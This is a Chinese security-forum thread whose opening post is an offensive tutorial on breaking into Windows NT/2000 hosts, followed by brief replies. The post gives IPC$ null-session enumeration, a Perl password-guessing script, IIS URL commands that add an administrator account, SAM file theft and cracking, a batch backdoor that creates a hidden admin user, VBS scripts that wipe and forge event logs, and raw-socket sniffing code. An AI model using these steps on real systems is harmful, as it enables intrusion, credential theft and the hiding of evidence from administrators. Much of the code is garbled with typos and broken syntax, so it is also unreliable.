|
![]() | 作者: wang0722 [wang0722]
![]() |
登录 |
1.简单的NT入侵 因为现在的2000/XP都是基于NT构造的,所以我在这里只介绍一些关于NT的入侵,大 致可以分为以下几个部分: ①搜集信息:windows NT的主机一般通过默认的共享IPC$进行,如果主机启动了server 服务,就可以用ipc$进行无帐号、密码的空连接得到主机的帐号列表和共享。(有兴趣 的朋友可以用windows API函数的NET部分自己写) ②得到帐号列表后,可用暴力试验的方法得到密码(虽然这样的做法有点%¥*。。。, 但事实证明这样的猜测成功率还是蛮高的) ③从user到administator的权限提升,用工具Pwdump\winnt\repair\sam也可以用 IISHACKER溢出。 ④留后门: 这里向大家介绍系统自带的netsvc.exe。 以下是大体的命令(假设192.168.x.x为目标IP): netsvc\\192.168.x.x telnet/start net time\\192.168.x.x at\\192.168.x.x 得到时间 netsvc telnet 192.168.x.x net user guest/active:yes net user guest abcd(密码) net localgroup administartor guest/add 如果是2000的telnet则需要NTLM的认证,我们可以使用telnet管理工具tlnadm.exe(在 \winnt\system32目录下),在注册表选项把NTLM设置为“0”,最后,我们就可以从远 程计算机上把SAM文件抓回来进行破解了。 以上的入侵都是建立在最理想的基础上的,理想和现实是有差距的,或许刚才的 NTLM认证就已经把部分的hacker拦在门外了,其实NT下还有一个专门用来关闭NTLM认证 的程序ntlm.exe,我们只要把它传到目标主机上运行NTLM认证的问题也就迎刃而解了。 2.进一步的入侵 ①获取administartor权限的帐号,如果一个hacker得不到administartor权限,那 么他拿你也就没有办法,所以,得到administartor是hacker进行侵入的一个重要步骤 ,多数hacker是用手工猜解和自动暴力破解这两种方法得到administartor的,hacker 首先会搞到一份详细的用户名单(用nbtstat命令或流光之类的工具),接下来就可以 对目标主机进行突破入侵了,有经验的hacker一般不会先从服务器下手,而是从容易被 管理员疏忽的本地工作站入手,因为服务器的工作站分机一般都允许用户交互登陆, hacker就可以远程执行一些命令。 在破解口令时hacker一般会选用NAT、Legion这样的工具,然后下载一个猜解密码用 的字典,用NAT连接到目标主机,NAT就会自动地进行口令的猜解。对于NT中的弱口令, 我们可以用一个简单的for命令或是脚本语句open(IPC,"net use\\192.168.x.x\ipc$/user:|")就足以攻破了,有兴趣的朋友也可以尝试自己写个与 NAT同样功能的小工具,这里我给出一段用perl写脚本程序,它可以用来进行帐号和口 令的猜测 #ipccrack.ipx -------begin script-------- open(TEST,"names.txt")||die "could not open file"; open(LOG,">>ipc.log")||die "could not open log"; if(length($ARGV[0])==0) { print"User:perl ipccrack.plx[ipaddr]"; exit(0); } $server=ARGC[0]; while() { $name=$_; chop($name) open(IPC,"net use\\\\$server\\ipc\$/user:Administartor $name|"); while() { if(grap(/successfully/,$_)) { print LOG"$server accepts connettions for Password $name\n"; open(DEL,"net use\\\\$server\\ipc\$/d|"); } } --------------- end ------------------- 成功编译ipccrack.plx后,运行C:\>perl ipccrack.plx就可以对帐号和口令进行猜解 了。 ②权限的突破 通常情况下hacker是不容易得到administartor权限的,他们一般是先得到一个普通 帐号的权限,然后利用系统的漏洞和管理员的疏忽,将一个普通权限的帐号提升为特殊 权限的帐号。 现在的多数hacker喜欢用sechole这类工具提升权限。sechole的大致原理也就是修 改OpenProcess API,调用内存中的一些指令,使自己正确地衔接在某个特权的进程之 中,当成功的衔接上特权程序后,它会利用一种类似DLL注射的方法将恶意代码加入具 备能够控制administartor特权用户的进程中达到权限的提升,更高级别的hacker则喜 欢自己编写shellcode来完成权限提升。 最近的win32 API设计缺陷提升权限是利用在某个窗口下的任意一个应用程序都可以 发送消息给同一桌面的其他任意程序,也就是说没有一个专门的机构来认证消息的来源 ,不考虑接收窗口是否属于发送方的程序,也不考虑接收方是否希望得到这样的消息。 从而让系统执行发送方shellcode中的恶意代码来达到权限提升。 对于广大初中级的hacker,sechole确实是个好东东,但它是要在目标主机(开启 IIS)上运行的,然后上传到几个指定目录下,通过web浏览器启动sechole。有经验的 hacker会使用netuser在目标服务器中添加一个用户来隐藏自己,我们这里假设目标服 务器名为sercer,用户名为hacker,密码为abcd,进行讲解。 具体的URL命令如下: http://192.168.x.x/scripts/ntcmd.exe/C%20C:\inetpub\scripts\ntuser.exe%20-s%20server%20add%20hacker%20-password%20abcd 将hacker加到administartor组: http://192.168.x.x/scripts/ntcmd.exe/C%20C:\inetpub\scripts\ntuser.exe%20-s%20server%20groupA%20append%20Administrators%20 hacker 这样hacker就得到ADMINISTRAT权限了,想做什么就做什么,让别人去说吧! 3.SAM的破解 hacker在得到administratir后往往渴望知道更多的秘密,而所以的用户信息都是保 存在SAM文件中,这样,破解SAM也就是hacker接下来要做的。我们知道SAM的加密算法 沿用了LanManager的散列单项加密算法,导致了hacker可以用逆向破解这种算法加密的 SAM。 在对SAM破解之前,我们首先要获取SAM文件,部分NT系统中的SAM是被锁死的,在这 种情况下我们可以用以下方法: ①引导另一个操作系统:利用NTFS DOS的系统驱动来获得对NTFS硬盘的访问权限,抓出 SAM。 ②获取备份SAM:NT的Rdisk会在%system root%\reqair目录中将SAM备份为一个名为 SAM._的拷贝压缩,多数管理员在将这些信息拷贝后一般都会忘记删这些文件(以至于 hacker可以拷贝到这个文件) 得到SAM后用LOphcrack进行破解,由于LOphcrack的强大功能,密码的破译也只是一个 迟早的事。 其实hacker在tlenet带目标服务器后(如果是个企业内网),输入net view整个企业 内部域的计算机已一展无余,然后通过映射驱动盘net use:z:\\192.169.x.x\c$(建立 IPC$前提下),这样内网的秘密资料也搞到手了。 4.置入后门 hacker在成功闯入计算机达到自己特定的目的都,往往会给自己留一个后门,以便 日后可以随时对该机具有控制权。 对于那些工具hacker,去下载一个就可以了(像容哥的BIT),对于那类懂点技术而 又超懒的,他们也会自己随便写段脚本达到同样目的,下面这个脚本就可以做到 -----------------begin----------------- @echo off net user Admin/add/expires:never/password req:no net localgroup"Administrators"/add Admin net localgroup "user"/del Admin --------------------end------------------- 这样,hacker只要有一台电脑和一根电话线就可以随心所欲的对目标主机进行控制了。 5.日志的清除 日志文件分为system、applicaton、security,hacker在做完上述工作后一般会回 过头来把自己留下的脚印抹去,删除日志不是难事,但在m命令下用net stop eventlog 是不能停止的,国内很多工具黑客喜欢用容哥的elsave.exe,个别手闲不住也会自己写 个脚本删除日志,下面是一个利用WMI删除日志的脚本代码: ----------cleanevent.vbs------------ strComputer="." Set objWMIService=GetObject("winmgmts:"_&{impersonationLevel=impersonate,(Backup)}!\ \"&_strComputer&"\root\cimv2") dim mylog(3) mylogs(1)="appliation" mylog(2)="system" mylog(3)="security" for Each logs in mylogs Set colLogFile=objWMIService.WxecQuery_("Select*from Win32_NTEventLogFile where LogFileName="&logs&",") For Each objLogfile in colLogFiles objLogFile 、ClearEventlog() Next next 任何一个有大脑的管理员面对空空的日志马上就会反应过来被入侵了,而上面的脚本仅 仅是负责删除日志,所以hacker还得重建日志来骗过那懒惰的管理员,于是又要开始伪 造日志,相应的用eventlog方法创建日志是非常简单的一种方法。 --------------Createlog.vbs----------- set ws=wscript、createobject("Wscript.shell") ws.logevent 8,"write log success" (注:XP下可用eventcreate.exe这个工具创建日志) 二.较为深入的入侵 1.截获数据包 截获数据包是入侵必不可少的一部分,hacker在截获数据包后就可以对它进行分析 ,从而得到更多有价值的信息,如:没有被SSL加密过的SQL Server数据包,因为它是 用TDS协议进行传输的,密码很可能也就是明文了。我们还可以在改写截到数据包的报 头,达到IP欺骗的目的。下面就来具体介绍一下一些通过编程截获数据包的方法。 在开始进行数据包捕获之前,你首先要有一些TCP/IP和socket编程的基础,因为下 面的讲解是用socket编程实现的。 其实,到目前为止本人知道的也只有socket和libpcap这两种方法(忍不住还是拿出 来献丑了)。 Libpcap实质上是系统一个独立的API接口,它为数据包的截获提供了一个统一的环境, 主要有下面几个函数接口。 ①pcap_open_live(),用来获得一个数据截获描述符,该描述符用于查看在网络上传输 的数据包。 ②pcap_stats(),用来返回相关状态参数,正常返回时为0,返回-1时显示错误信息。 ③pcap_read(),用于读取底层数据包过滤机制缓冲区中的数据包,并对每一个数据包用 参数所设定的回调函数进行处理。 ④pcap_setfilter(),用于设定一个过滤器程序。 ⑤pcap_close(),关闭相关的文件并释放对应资源。 相信socket技术,大家更熟悉。下面几个函数是我们在截获数据包中经常用到的。 SOCK_DRAM,用于UDP协议的不可靠读取数据报。 SOCK_STREAM,用于TCP协议的可靠的字节流。 SOCK_RAW,用来越过TCP协议层直接读取IP层数据包。 SOCK_PACKET,Linux下的特定参数,与SOCK_RAW类似,只是直接读取数据链路层的数据 包。 inet_ntoa(),将32为网络二进制数值转换为可读的十进制形式带点分割符IP地址。 recvfrom(),具备阻塞式I/O特性函数,能够在没有数据包到达的情况下暂时挂起并等待 ,直到接收到数据包后再激活转入下一步处理。 ntohs(),将网络字节顺序转换为主机字节顺序的16位函数。 下面这段代码可以实现非混合模式下的数据包截取: #include<stdio.h> #include<sys/socket.h> #include<netinet/in.h> #include<arpa.inet.h> #include"hearder.h> //定义存取IP和TCP报文头字段的标准结构类型 int main() { int sock,bytes_received,fromlen; char buffer[65535]; struct ip *ip; struct *tcp; sock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); while(1) { fromlen=sizeof(from); bytes_received=recvfrom(sock,buffer,sizeof(buffer),0,(struct sockaddr*)&from,&fromlen); printf("\nBytes_received∶∶∶%5d\n",bytes_received); printf("Source address∶∶∶%s\n",inet_ntoa(from.sin_addr)); ip=(struct ip*)buffer; printf("IP header length∶∶∶%d\n",ip→ip_length); printf("Protocol∶∶∶%d\n",ip→ip_protocol); tcp=(struct tcp*)(buffer+(4*ip→ip_length)); printf("Source port∶∶∶%d\n",ntohs(tcp→tcp_source_port); printf("Dest port∶∶∶%d\n",ntohs(tcp→tcp_source_dest); } } |
地主 发表时间: 12/20 18:01 |
![]() | 回复: jiantan [jiantan] ![]() |
登录 |
楼主的帖很帮啊! 怎么没人顶? 我顶! |
B1层 发表时间: 12/21 09:29 |
![]() | 回复: agan [ganhuilu] ![]() |
登录 |
好贴要有建设性的意见再顶才能保证质量,你一来就乱顶一头,晕 ̄ ̄ ̄ ̄ ̄ ̄~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
B2层 发表时间: 12/21 14:53 |
![]() | 回复: yiyi0325 [yiyi0325] ![]() |
登录 |
请问:如果他有防火你这种方法能行吗? |
B3层 发表时间: 03-12-26 18:47 |
![]() | 回复: snntss [snntss] ![]() |
登录 |
顶 |
B4层 发表时间: 03-12-26 23:54 |
![]() | 回复: lianjl [lianjl] ![]() |
登录 |
似乎已经见过N次了 |
B5层 发表时间: 03-12-27 16:57 |
![]() | 回复: Idof [idof] ![]() |
登录 |
没凑效过!![]() |
B6层 发表时间: 03-12-28 13:40 |
![]() | 回复: newmyth21 [newmyth21] ![]() |
登录 |
都是些什么呀!![]() ![]() ![]() |
B7层 发表时间: 03-12-29 18:12 |
![]() | 回复: lho [lho] ![]() |
登录 |
没看出来有什么希奇的东西,很平常嘛! |
B8层 发表时间: 04-01-09 23:26 |
![]() | 回复: k_com [k_com] ![]() |
登录 |
是自己的经历吧 |
B9层 发表时间: 04-01-11 22:45 |
![]() | 回复: newmyth21 [newmyth21] ![]() |
登录 |
没什么了,顶![]() |
B10层 发表时间: 04-01-11 23:35 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号